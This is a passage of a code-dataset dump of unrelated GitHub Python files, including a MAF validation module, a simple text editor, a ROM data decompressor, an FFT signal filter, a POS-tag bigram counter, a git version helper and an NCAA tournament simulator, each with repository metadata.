'total_qualified':len(users) } )\n", "repo_name": "figo/FindTalent", "sub_path": "search/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1518, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "FindTalent.common.models.SessionManager", "line_number": 11, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 14, "usage_type": "call"}, {"api_name": "FindTalent.common.models.TalentHelper.get_empty_val_checker", "line_number": 16, "usage_type": "call"}, {"api_name": "FindTalent.common.models.TalentHelper", "line_number": 16, "usage_type": "name"}, {"api_name": "FindTalent.account.models.TalentUser.objects.all", "line_number": 18, "usage_type": "call"}, {"api_name": "FindTalent.account.models.TalentUser.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "FindTalent.account.models.TalentUser", "line_number": 18, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 19, "usage_type": "call"}, {"api_name": "FindTalent.user_profile.project.models.Project.objects.filter", "line_number": 26, "usage_type": "call"}, {"api_name": "FindTalent.user_profile.project.models.Project.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "FindTalent.user_profile.project.models.Project", "line_number": 26, "usage_type": "name"}, {"api_name": "FindTalent.user_profile.skill.models.Skill.objects.filter", "line_number": 28, "usage_type": "call"}, {"api_name": "FindTalent.user_profile.skill.models.Skill.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "FindTalent.user_profile.skill.models.Skill", "line_number": 28, "usage_type": "name"}, {"api_name": "FindTalent.user_profile.certification.models.Certification.objects.filter", "line_number": 30, "usage_type": "call"}, {"api_name": "FindTalent.user_profile.certification.models.Certification.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "FindTalent.user_profile.certification.models.Certification", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 36, "usage_type": "call"}]} +{"seq_id": "35857393434", "text": "\"\"\"A module containing classes used for validating MAF files and data types.\n\n* MafFormatException an exception when the MAF is mis-formatted\n* MafValidationError stores a specific validation error and type\n* MafValidationErrorType an enumeration of types of validation errors\n* ValidationStringency an enumeartion for the stringency in which to validate\n\"\"\"\n\nimport logging\nfrom enum import Enum, unique\nfrom typing import List, Optional\n\nfrom maflib.logger import Logger\n\n\n@unique\nclass MafValidationErrorType(Enum):\n \"\"\"\n The type of validation error.\n \"\"\"\n\n HEADER_MISSING = \"The header is missing\"\n HEADER_LINE_MISSING_START_SYMBOL = (\n \"The header line is missing the start symbol at the start of the line\"\n )\n HEADER_LINE_MISSING_SEPARATOR = \"The header line is missing the space separator\"\n HEADER_LINE_EMPTY_KEY = \"The header line's key is empty\"\n HEADER_LINE_EMPTY_VALUE = \"The header line's value is empty\"\n HEADER_DUPLICATE_KEYS = \"The header has duplicate keys\"\n HEADER_MISSING_VERSION = \"The header has no version\"\n HEADER_UNSUPPORTED_VERSION = \"The header has an unsupported version\"\n HEADER_MISSING_ANNOTATION_SPEC = \"The header has no annotation spec\"\n HEADER_UNSUPPORTED_ANNOTATION_SPEC = (\n \"The header has an unsupported annotation specification\"\n )\n HEADER_UNSUPPORTED_SORT_ORDER = \"The header has an unsupported sort order\"\n HEADER_MISMATCH_SCHEME = \"The header's scheme mismatches the current scheme\"\n HEADER_MISSING_COLUMN_NAMES = \"The header has no column names\"\n HEADER_MISMATCHING_COLUMN_NAMES = (\n \"The header's column names mismatch the expected column names\"\n )\n RECORD_COLUMN_WITH_NO_VALUE = \"The record has no value\"\n RECORD_OUT_OF_SYNC = \"The record is out of sync (internal error)\"\n RECORD_COLUMN_INDEX_OUT_OF_SYNC = \"The column index is out of sync (internal error)\"\n RECORD_MISMATCH_NUMBER_OF_COLUMNS = \"The record has an unexpected number of columns\"\n RECORD_COLUMN_WRONG_FORMAT = \"The record's column is in the wrong format\"\n RECORD_INVALID_COLUMN_VALUE = \"The record's column has an invalid value\"\n RECORD_INVALID_COLUMN_NAME = \"The record's column has an invalid name\"\n RECORD_COLUMN_OUT_OF_ORDER = \"The record's column is at the wrong offset/index\"\n SCHEME_MISMATCHING_NUMBER_OF_COLUMN_NAMES = (\n \"The number of columns found differs from the scheme\"\n )\n SCHEME_MISMATCHING_COLUMN_NAMES = \"The column name differs from the scheme\"\n\n\n@unique\nclass ValidationStringency(Enum):\n \"\"\"\n The strictness when reading, writing, or validating a MAF file.\n \"\"\"\n\n Strict = 1\n Lenient = 2\n Silent = 3\n\n\nclass MafFormatException(Exception):\n \"\"\"\n Thrown when reading or writing MAF files after finding a formatting error.\n \"\"\"\n\n def __init__(\n self, tpe: MafValidationErrorType, message: str, line_number: int = None\n ):\n super(MafFormatException, self).__init__(message)\n self.tpe = tpe\n self.line_number = line_number\n self.message = message\n\n def __str__(self) -> str:\n return self.message\n\n\nclass MafValidationError:\n \"\"\"Stores a specific validation error and type\"\"\"\n\n __IgnoringMessageFormat = \"Ignoring MAF validation error: %s\"\n\n @staticmethod\n def ignore_message(validation_error: 'MafValidationError') -> str:\n \"\"\"Returns a string message for when an error will be ignored\"\"\"\n return MafValidationError.__IgnoringMessageFormat % str(validation_error)\n\n def __init__(\n self, tpe: MafValidationErrorType, message: str, line_number: int = None\n ):\n self.tpe = tpe\n self.message = message\n self.line_number = line_number\n\n def __str__(self) -> str:\n if self.line_number:\n return \"%s: On line number %d: %s\" % (\n self.tpe.name,\n self.line_number,\n self.message,\n )\n else:\n return \"%s: %s\" % (self.tpe.name, self.message)\n\n @staticmethod\n def process_validation_errors(\n validation_errors: Optional[List['MafValidationError']],\n validation_stringency: ValidationStringency,\n logger: logging.Logger = Logger.RootLogger,\n ) -> None:\n \"\"\"Handles a list of errors given a validation stringency.\n\n If the validation stringency is ``Silent`` or no errors are given,\n then nothing is done. If the validation stringency is ``Lenient``, then\n the errors are logged. If the validation stringency is ``Strict``,\n then the a ``MafFormatException`` is thrown using the first error found.\n \"\"\"\n if (\n validation_errors\n and not validation_stringency == ValidationStringency.Silent\n ):\n if validation_stringency == ValidationStringency.Strict:\n error = validation_errors[0]\n raise MafFormatException(\n tpe=error.tpe, message=str(error), line_number=error.line_number\n )\n else:\n assert validation_stringency == ValidationStringency.Lenient\n for error in validation_errors:\n logger.warning(MafValidationError.ignore_message(error))\n", "repo_name": "NCI-GDC/maf-lib", "sub_path": "maflib/validation.py", "file_name": "validation.py", "file_ext": "py", "file_size_in_byte": 5259, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "16", "api": [{"api_name": "enum.Enum", "line_number": 17, "usage_type": "name"}, {"api_name": "enum.unique", "line_number": 16, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 57, "usage_type": "name"}, {"api_name": "enum.unique", "line_number": 56, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 113, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 113, "usage_type": "name"}, {"api_name": "logging.Logger", "line_number": 115, "usage_type": "attribute"}, {"api_name": "maflib.logger.Logger.RootLogger", "line_number": 115, "usage_type": "attribute"}, {"api_name": "maflib.logger.Logger", "line_number": 115, "usage_type": "name"}]} +{"seq_id": "20691767831", "text": "import io\r\n# Read a file\r\ndef read_file(filename):\r\n with io.open(filename, \"r\", encoding=\"utf-8\") as file:\r\n return file.read()\r\n\r\n\r\n# Write to a file\r\ndef write_file(filename, content):\r\n with io.open(filename, \"w\", encoding=\"utf-8\") as file:\r\n file.write(content)\r\n\r\n\r\n# User interface\r\ndef main():\r\n while True:\r\n action = input(\"Enter a command (read, write, or quit): \")\r\n\r\n if action == \"read\":\r\n filename = input(\"Enter a file name: \")\r\n content = read_file(filename)\r\n print(content)\r\n elif action == \"write\":\r\n filename = input(\"Enter a file name: \")\r\n content = input(\"Enter text: \")\r\n write_file(filename, content)\r\n print(\"File saved.\")\r\n elif action == \"quit\":\r\n break\r\n else:\r\n print(\"Invalid command.\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n", "repo_name": "Loki1212/LokeshLokhande_Codeclause_project", "sub_path": "Text Editor.py", "file_name": "Text Editor.py", "file_ext": "py", "file_size_in_byte": 921, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "io.open", "line_number": 4, "usage_type": "call"}, {"api_name": "io.open", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "3209073169", "text": "import os\nimport argparse\n\nparser = argparse.ArgumentParser(description='Decompresses compressed files.')\nparser.add_argument('filenames', metavar='filenames', type=str, nargs='+')\n\nargs = parser.parse_args()\n\ndef decompressData(source):\n buffer = [0x00 for i in range(0x100)]\n sourcePos = 0\n bufferPos = 0xef\n lenByte = 0x00\n repeatToggle = False\n\n decompData = [] # final decompressed data that will be output\n\n while True:\n if sourcePos >= len(source):\n # got to the end of the data\n break\n\n cmdByte = source[sourcePos]\n sourcePos += 1\n\n for cmdBit in range(8):\n if sourcePos >= len(source):\n # got to the end of the data\n break\n\n if (cmdByte & (1 << (7 - cmdBit)) != 0):\n # copy one byte literally\n byteToCopy = source[sourcePos]\n\n decompData.append(byteToCopy)\n buffer[bufferPos] = byteToCopy\n sourcePos += 1\n bufferPos = (bufferPos + 1) % 0x100\n else:\n # copy previous sequence\n repeatToggle = not repeatToggle\n\n if (repeatToggle):\n # sequence length\n offsetToCopy = source[sourcePos]\n lenByte = source[sourcePos + 1]\n bytesToCopy = []\n\n curLen = (lenByte >> 4) + 2\n for i in range(curLen):\n buffer[bufferPos] = buffer[offsetToCopy]\n bytesToCopy.append(buffer[offsetToCopy])\n offsetToCopy = (offsetToCopy + 1) % 0x100\n bufferPos = (bufferPos + 1) % 0x100\n\n decompData.extend(bytesToCopy)\n sourcePos += 2\n else:\n # no sequence length byte if toggle is off\n offsetToCopy = source[sourcePos]\n bytesToCopy = []\n\n curLen = (lenByte & 0x0f) + 2\n for i in range(curLen):\n buffer[bufferPos] = buffer[offsetToCopy]\n bytesToCopy.append(buffer[offsetToCopy])\n offsetToCopy = (offsetToCopy + 1) % 0x100\n bufferPos = (bufferPos + 1) % 0x100\n\n decompData.extend(bytesToCopy)\n sourcePos += 1\n\n return bytes(decompData)\n\nfor filename in args.filenames:\n source = bytearray(open(filename, 'rb').read())\n with open(os.path.splitext(filename)[0], 'wb') as outFile:\n outFile.write(decompressData(source))\n", "repo_name": "pret/poketcg", "sub_path": "tools/decompress.py", "file_name": "decompress.py", "file_ext": "py", "file_size_in_byte": 2660, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 231, "dataset": "github-code", "pt": "16", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 4, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}]} +{"seq_id": "43410501770", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 19 13:18:46 2022\n\n@author: troch\n\"\"\"\n\nimport numpy as np\nfrom scipy import fftpack\nfrom matplotlib import pyplot as plt\nimport csv \n\npath=\"wave.csv\"\nfirst = 0\nfile= open(path, newline='')\nreader = csv.reader(file)\nheader = next(reader) #first line is the header \n\nstep=[]\nwave1=[]\nwave2=[]\nwave3=[]\nsignal=[]\nsum1=[]\nsum2=[]\nsum3=[]\nfor row in reader:\n temp_step = int(row[0])\n step.append(temp_step)\n temp_wave1=int(row[1])\n wave1.append(temp_wave1)\n temp_wave2=int(row[2])\n wave2.append(temp_wave2)\n temp_wave3=int(row[3])\n wave3.append(temp_wave3)\n signal.append(temp_wave1 + temp_wave2 + temp_wave3)\n sum1.append(temp_wave1 + temp_wave2)\n sum2.append(temp_wave2 + temp_wave3)\n sum3.append(temp_wave1 + temp_wave3)\n\n\nfig, (ax1, ax2, ax3, ax4) = plt.subplots(4)\nfig.suptitle('3 waves + total wave')\nax1.plot(step, wave1)\nax2.plot(step, wave2)\nax3.plot(step, wave3)\nax4.plot(step, signal) \n\nax1.set_xlim(0,2000)\nax2.set_xlim(0,2000)\nax3.set_xlim(0,2000)\nax4.set_xlim(0,2000)\n\nsig_fft = fftpack.fft(signal)\n\n# And the power (sig_fft is of complex dtype)\npower = np.abs(sig_fft)**2\n\n# The corresponding frequencies\nsample_freq = fftpack.fftfreq(len(signal),d=1)\n\n# Plot the FFT power\nplt.figure(figsize=(10, 20))\nplt.plot(sample_freq, power)\nplt.xlabel('Frequency [Hz]')\nplt.ylabel('plower')\nplt.xlim(-0.05,0.05)\nplt.show()\n\npos_mask = np.where(sample_freq > 0)\nfreqs = sample_freq[pos_mask]\npeak_freq = freqs[power[pos_mask].argmax()]\nprint(peak_freq)\n\nhigh_freq_fft = sig_fft.copy()\nhigh_freq_fft[np.abs(sample_freq) > peak_freq] = 0\nfiltered_sig = fftpack.ifft(high_freq_fft)\n\nsig_fft1 = fftpack.fft(filtered_sig)\n\n# And the power (sig_fft is of complex dtype)\npower = np.abs(sig_fft1)**2\n\n# The corresponding frequencies\nsample_freq = fftpack.fftfreq(len(filtered_sig), d=1)\n\nplt.figure(figsize=(10, 20))\nplt.plot(sample_freq, power)\nplt.xlabel('Frequency [Hz]')\nplt.ylabel('plower')\nplt.xlim(-0.05,0.05)\nplt.show()\n\nplt.figure(figsize=(60,10))\nplt.plot(step, signal, label='Original signal')\nplt.plot(step, filtered_sig, linewidth=3, label='Filtered signal')\nplt.xlabel('Time [s]')\nplt.ylabel('Amplitude')\n\nplt.legend(loc='best')\nplt.xlim(0,2000)\nplt.show()\n\n\nfig, (ax1, ax2, ax3, ax4) = plt.subplots(4)\nfig.suptitle('3 waves + total wave')\nax1.plot(step, sum1)\nax2.plot(step, sum2)\nax3.plot(step, sum3)\nax4.plot(step, filtered_sig) \n\nax1.set_xlim(0,2000)\nax2.set_xlim(0,2000)\nax3.set_xlim(0,2000)\nax4.set_xlim(0,2000)\n\n", "repo_name": "Sebastien-Trocherie/SJSU-EE104", "sub_path": "LAB7_Trocherie_Sebastien/noise_canceling.py", "file_name": "noise_canceling.py", "file_ext": "py", "file_size_in_byte": 2511, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "csv.reader", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "scipy.fftpack.fft", "line_number": 54, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 54, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 57, "usage_type": "call"}, {"api_name": "scipy.fftpack.fftfreq", "line_number": 60, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 76, "usage_type": "call"}, {"api_name": "scipy.fftpack.ifft", "line_number": 77, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 77, "usage_type": "name"}, {"api_name": "scipy.fftpack.fft", "line_number": 79, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 79, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 82, "usage_type": "call"}, {"api_name": "scipy.fftpack.fftfreq", "line_number": 85, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}]} +{"seq_id": "41627596672", "text": "import os\nimport itertools\nfrom nltk.tag import StanfordPOSTagger\nimport sys\nsys.path.append(\"..\")\nfrom utils import Util\n\nmodel_filename = sys.path[0]+'/Preparation/models/english-bidirectional-distsim.tagger'\npath_to_jar = sys.path[0]+'/Preparation/stanford-postagger.jar'\nfunc_tag = ['WHD','WRB','WP','UH','MD','CC','DT','IN','EX','TO','WP$']\n\ndef Get2gram(author_name):\n word_dict = {}\n files = Util.listdir(sys.path[0]+'/Preparation/data/'+author_name)\n tagger = StanfordPOSTagger(model_filename, path_to_jar)\n a = \"CC CD DT EX FW IN JJ JJR JJS LS MD NN NNS NNP NNPS PDT POS PRP PRP$ RB RBR RBS RP SYM TO UH VB VBD VBG VBN VBP VBZ WDT WP WP$ WRB , $ :\"\n Temp = [x for x in range(len(a.split()))]\n tag_dict = {}\n tag = a.split() \n func_list = []\n for i in itertools.product(Temp,repeat = 2):\n tag_dict[tag[i[0]]+\" \"+tag[i[1]]] = 0 \n for file in files:\n with open(file,'r',encoding='utf-8') as Reader:\n for index,line in enumerate(Reader):\n sent_real = line.split()\n sent_tag = tagger.tag(sent_real)\n for WordTag in sent_tag:\n if WordTag[1] in func_tag:\n func_list.append(WordTag[0]) \n for i in range(len(sent_tag)-1):\n tag_dict[sent_tag[i][1]+' '+sent_tag[i+1][1]] = tag_dict[sent_tag[i][1]+' '+sent_tag[i+1][1]] + 1 \n func_list = list(set(func_list))\n for tag in tag_dict.keys():\n if tag_dict[tag]==0:\n tag_dict[tag] = 0.5\n count = sum(tag_dict.values())\n for tag in tag_dict.keys():\n tag_dict[tag] = tag_dict[tag]/count\n \n with open(sys.path[0]+'/Preparation/save/2gram_tag_'+author_name,'w',encoding='utf-8') as Writer:\n for tag in tag_dict.keys():\n Writer.write(str(tag)+':'+str( tag_dict[tag])+'\\n') \n return tag_dict,func_list", "repo_name": "chenhan97/PersonGAN", "sub_path": "Preparation/bigram.py", "file_name": "bigram.py", "file_ext": "py", "file_size_in_byte": 1900, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "utils.Util.listdir", "line_number": 14, "usage_type": "call"}, {"api_name": "utils.Util", "line_number": 14, "usage_type": "name"}, {"api_name": "sys.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "nltk.tag.StanfordPOSTagger", "line_number": 15, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 41, "usage_type": "attribute"}]} +{"seq_id": "16055327060", "text": "import os\nimport re\nimport json\nimport logging\nfrom typing import Union, List\n\nlogger=logging.getLogger(__package__)\n\nCOMMIT_SHA_DEFAULT_LENGTH=7\n\ndef get_current_branch() -> Union[None, str]:\n _github_ref_type = os.getenv(\"GITHUB_REF_TYPE\", \"branch\")\n _github_ref = os.getenv(\"GITHUB_REF\", None)\n\n if _github_ref is None:\n if os.path.exists(path=\".git/HEAD\"):\n try:\n with open(\".git/HEAD\", 'r') as _file:\n _github_ref = _file.read()\n except Exception as e:\n return None\n else:\n return None\n\n if _github_ref_type == \"branch\":\n _cp_regex = re.compile(r'refs\\/heads\\/([a-zA-Z0-9\\/]+)')\n _branch_result = _cp_regex.search(_github_ref)\n _branch = _branch_result.group(1)\n return _branch\n else:\n return \"tag\"\n\ndef get_current_commit(length=COMMIT_SHA_DEFAULT_LENGTH) -> Union[None, str]:\n _github_commit_sha = os.getenv(\"GITHUB_COMMIT_SHA\", None)\n\n if _github_commit_sha is None:\n _branch = get_current_branch()\n if _branch is not None:\n if os.path.exists(path=f\".git/refs/heads/{_branch}\"):\n with open(f\".git/refs/heads/{_branch}\", 'r') as _file:\n _content = _file.read().replace(\"\\n\", \"\")\n if length > 0:\n return _content[0:length]\n else:\n return _content\n else:\n return None\n else:\n if length > 0:\n return _github_commit_sha[0:length]\n else:\n return _github_commit_sha\n\ndef get_current_tags() -> List[str]:\n _github_ref_type = os.getenv(\"GITHUB_REF_TYPE\", \"branch\")\n _github_ref = os.getenv(\"GITHUB_REF\", None)\n\n if _github_ref_type == \"tag\":\n _cp_regex = re.compile(r'refs\\/tags\\/([a-zA-Z0-9\\/\\.]+)')\n _tag_result = _cp_regex.search(_github_ref)\n _tag = _tag_result.group(1)\n return [_tag]\n else:\n if os.path.exists(\".git/refs/tags\"):\n _current_commit = get_current_commit(-1)\n _tags_file_list = os.listdir(\".git/refs/tags\")\n _tags = []\n for _tag_file in _tags_file_list:\n with open(f\".git/refs/tags/{_tag_file}\") as _file:\n _commit = _file.read().replace(\"\\n\",\"\")\n if _commit == _current_commit:\n _tags.append(_tag_file)\n return _tags\n else:\n return []\n\n\ndef _calculate_version(full: bool=True) -> str:\n _branch = get_current_branch()\n _commit = get_current_commit()\n _tags = get_current_tags()\n\n if len(_tags) == 0:\n if full:\n return f\"{_branch}-{_commit}\"\n else:\n return f\"{_branch}\"\n elif len(_tags) == 1:\n if full:\n return f\"{_tags[0]}-{_commit}\"\n else:\n return f\"{_tags[0]}\"\n else:\n return f\"warning_version_not_conform\"\n\ndef get_version(full: bool=True) -> str:\n if full:\n return os.getenv(\"VERSION_LONG\", _calculate_version(full=True))\n else:\n return os.getenv(\"VERSION\", _calculate_version(full=False))\n\ndef build_version_payload():\n _json_response = {\n \"branch\": str(get_current_branch()).replace(\"/\",\"-\"),\n \"commit\": get_current_commit(),\n \"tags\": get_current_tags(),\n \"version\": str(get_version(full=False)).replace(\"/\",\"-\"),\n \"version-long\": str(get_version()).replace(\"/\",\"-\")\n }\n return _json_response\n\n\nif __name__ == \"__main__\":\n _json_response = build_version_payload()\n # Return Response Data\n print(\n json.dumps(_json_response)\n )\n", "repo_name": "public-sysunicorns-info/websocket_example", "sub_path": "src/application/version.py", "file_name": "version.py", "file_ext": "py", "file_size_in_byte": 3654, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 12, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 26, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 11, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 33, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 55, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 56, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 66, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 54, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 98, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 100, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 117, "usage_type": "call"}]} +{"seq_id": "19151613812", "text": "## Monte Carlo Simulations for Analytics (per PK request)\n\nimport numpy as np\nimport pandas as pd\nimport random\nimport os\nfrom scipy.stats import norm\nimport cProfile\nimport pstats\n\nclass NCAA_simulation:\n\n def __init__(self, sagarins, stdev = 10, n_sims = 100) -> None:\n self.results_df = sagarins.copy()\n self.results_df['Win%'] = 0\n self.sagarins = sagarins\n self.stdev = stdev\n self.regions = list(set(sagarins['Region']))\n self.n_sims = n_sims\n\n def matchup_odds(self, sag1, sag2, stdev):\n prob = norm.cdf(0, loc = sag2 - sag1, scale = stdev)\n return prob\n\n def sim_game(self, sag1, sag2):\n prob = self.matchup_odds(sag1, sag2, self.stdev)\n rand = random.random()\n return rand < prob\n\n def sim_64_round(self):\n sagarins = self.sagarins\n n_matchups = 64 // 8\n for region in self.regions:\n for i in range(n_matchups):\n seed1 = int(i + 1)\n seed2 = int(17 - seed1)\n\n condition1 = (sagarins['Region'] == region) & (sagarins['Seed'] == seed1)\n condition2 = (sagarins['Region'] == region) & (sagarins['Seed'] == seed2)\n\n indices1 = sagarins.index[condition1]\n indices2 = sagarins.index[condition2]\n\n sag1 = sagarins.loc[indices1, 'Sagarin rating'].iat[0]\n sag2 = sagarins.loc[indices2, 'Sagarin rating'].iat[0]\n\n outcome = self.sim_game(sag1, sag2)\n sagarins.loc[indices1, 'In'] = outcome\n sagarins.loc[indices2, 'In'] = not outcome\n \n def sim_midround(self):\n sagarins = self.sagarins\n ## Pick the correct matchup sets based on the round (how many teams remaining)\n set1 = [1,8,9,16]\n set2 = [2,7,10,15]\n set3 = [3,6,11,14]\n set4 = [4,5,12,13]\n\n if sum(sagarins['In']) == 32:\n sets = [set1, set2, set3, set4]\n elif sum(sagarins['In']) == 16:\n set1 = set1 + set4\n set2 = set2 + set3\n sets = [set1, set2]\n elif sum(sagarins['In']) == 8:\n sets = [set1 + set2 + set3 + set4]\n\n for region in self.regions:\n for seed_set in sets:\n condition = (sagarins['In']) & (sagarins['Region'] == region) & (sagarins['Seed'].isin(seed_set))\n indices = sagarins.index[condition]\n\n sag1 = sagarins.loc[indices, 'Sagarin rating'].iat[0]\n sag2 = sagarins.loc[indices, 'Sagarin rating'].iat[1]\n\n outcome = self.sim_game(sag1, sag2)\n sagarins.loc[indices[0], 'In'] = outcome\n sagarins.loc[indices[1], 'In'] = not outcome\n\n def sim_4_round(self):\n ## This one uses actual hard coded region names and matchups - not sure if this is always consitant across years\n regions_match1 = ['East', 'South']\n regions_match2 = ['Midwest', 'West']\n regions_matchups = [regions_match1, regions_match2]\n\n for region_matchup in regions_matchups:\n condition = (sagarins['In']) & (sagarins['Region'].isin(region_matchup))\n indices = sagarins.index[condition]\n\n sag1 = sagarins.loc[indices, 'Sagarin rating'].iat[0]\n sag2 = sagarins.loc[indices, 'Sagarin rating'].iat[1]\n\n outcome = self.sim_game(sag1, sag2)\n sagarins.loc[indices[0], 'In'] = outcome\n sagarins.loc[indices[1], 'In'] = not outcome\n\n def sim_2_round(self):\n condition = (sagarins['In'])\n indices = sagarins.index[condition]\n\n sag1 = sagarins.loc[indices, 'Sagarin rating'].iat[0]\n sag2 = sagarins.loc[indices, 'Sagarin rating'].iat[1]\n\n outcome = self.sim_game(sag1, sag2)\n sagarins.loc[indices[0], 'In'] = outcome\n sagarins.loc[indices[1], 'In'] = not outcome\n \n def simulate_bracket(self):\n self.sagarins['In'] = True\n self.sim_64_round()\n self.sim_midround()\n self.sim_midround()\n self.sim_midround()\n self.sim_4_round()\n 